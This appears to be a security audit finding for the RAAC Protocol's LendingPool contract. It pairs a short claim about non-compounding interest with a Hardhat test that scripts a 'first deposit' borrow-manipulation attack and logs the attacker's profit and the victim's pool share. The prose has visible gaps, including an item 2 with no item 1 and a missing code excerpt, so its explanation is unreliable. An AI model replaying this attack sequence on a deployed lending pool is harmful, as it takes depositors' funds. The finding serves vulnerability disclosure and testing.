During the audit of the RAAC Protocol's LendingPool contract, a critical vulnerability was identified in the interest rate accumulation mechanism. The current implementation fails to compound interest rates over time, which could lead to significant economic losses and potential exploitation.
The vulnerability exists in the interest rate calculation and accumulation logic within the ReserveLibrary:
2. Economic Exploitation:
describe("First Deposit Attack - Borrow Manipulation", function () {
it("should test deposit/borrow manipulation", async function () {
await rToken.connect(user2).approve(lendingPool.target, ethers.parseEther("1000"));
await lendingPool.connect(user2).withdraw(ethers.parseEther("1000"));
const tokenId = 1;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
console.log("\nInitial State:");
console.log("RToken Supply:", ethers.formatEther(await rToken.totalSupply()));
const initialDeposit = ethers.parseEther("1");
await crvusd.connect(user1).approve(lendingPool.target, initialDeposit);
await lendingPool.connect(user1).deposit(initialDeposit);
const initialLiquidityIndex = await rToken.getLiquidityIndex();
console.log("Initial Liquidity Index:", ethers.formatEther(initialLiquidityIndex));
const borrowAmount = ethers.parseEther("0.5");
await lendingPool.connect(user1).borrow(borrowAmount);
console.log("\nAfter Borrow:");
console.log("Utilization Rate:",
(await getCurrentUtilizationRatePercentage(lendingPool)).toString(), "%");
console.log("Borrow Rate:",
(await getCurrentBorrowRatePercentage(lendingPool)).toString(), "%");
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine", []);
await lendingPool.connect(user1).updateState();
console.log("\nAfter 24h with borrow:");
console.log("Liquidity Index:", ethers.formatEther(await rToken.getLiquidityIndex()));
console.log("Utilization Rate:",
(await getCurrentUtilizationRatePercentage(lendingPool)).toString(), "%");
console.log("Borrow Rate:",
(await getCurrentBorrowRatePercentage(lendingPool)).toString(), "%");
console.log("Liquidity Rate:",
(await getCurrentLiquidityRatePercentage(lendingPool)).toString(), "%");
const victimDeposit = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, victimDeposit);
await lendingPool.connect(user2).deposit(victimDeposit);
console.log("\nAfter Victim Deposit:");
console.log("Utilization Rate:",
(await getCurrentUtilizationRatePercentage(lendingPool)).toString(), "%");
console.log("RToken Supply:", ethers.formatEther(await rToken.totalSupply()));
const debtAmount = await debtToken.balanceOf(user1.address);
console.log("\nDebt to repay:", ethers.formatEther(debtAmount));
await crvusd.connect(user1).approve(lendingPool.target, debtAmount);
await lendingPool.connect(user1).repay(debtAmount);
const attackerRTokenBalance = await rToken.balanceOf(user1.address);
await rToken.connect(user1).approve(lendingPool.target, attackerRTokenBalance);
const balanceBeforeWithdraw = await crvusd.balanceOf(user1.address);
await lendingPool.connect(user1).withdraw(attackerRTokenBalance);
const balanceAfterWithdraw = await crvusd.balanceOf(user1.address);
const withdrawnAmount = balanceAfterWithdraw - balanceBeforeWithdraw;
const profit = withdrawnAmount - initialDeposit;
console.log("\nAttack Results:");
console.log("Initial Deposit:", ethers.formatEther(initialDeposit));
console.log("Borrowed Amount:", ethers.formatEther(borrowAmount));
console.log("Withdrawn Amount:", ethers.formatEther(withdrawnAmount));
console.log("Profit/Loss:", ethers.formatEther(profit));
const victimRTokenBalance = await rToken.balanceOf(user2.address);
const victimShare = Number(victimRTokenBalance) * 100 / Number(await rToken.totalSupply());
console.log("\nVictim Position:");
console.log("RToken Balance:", ethers.formatEther(victimRTokenBalance));
console.log("Share of Pool:", victimShare.toFixed(2), "%");
console.log("\nFinal System State:");
console.log("Total Supply:", ethers.formatEther(await rToken.totalSupply()));
console.log("Contract Balance:", ethers.formatEther(await crvusd.balanceOf(rToken.target)));
console.log("Dust Amount:", ethers.formatEther(await rToken.calculateDustAmount()));
expect(await rToken.getLiquidityIndex()).to.be.gt(initialLiquidityIndex);
});
});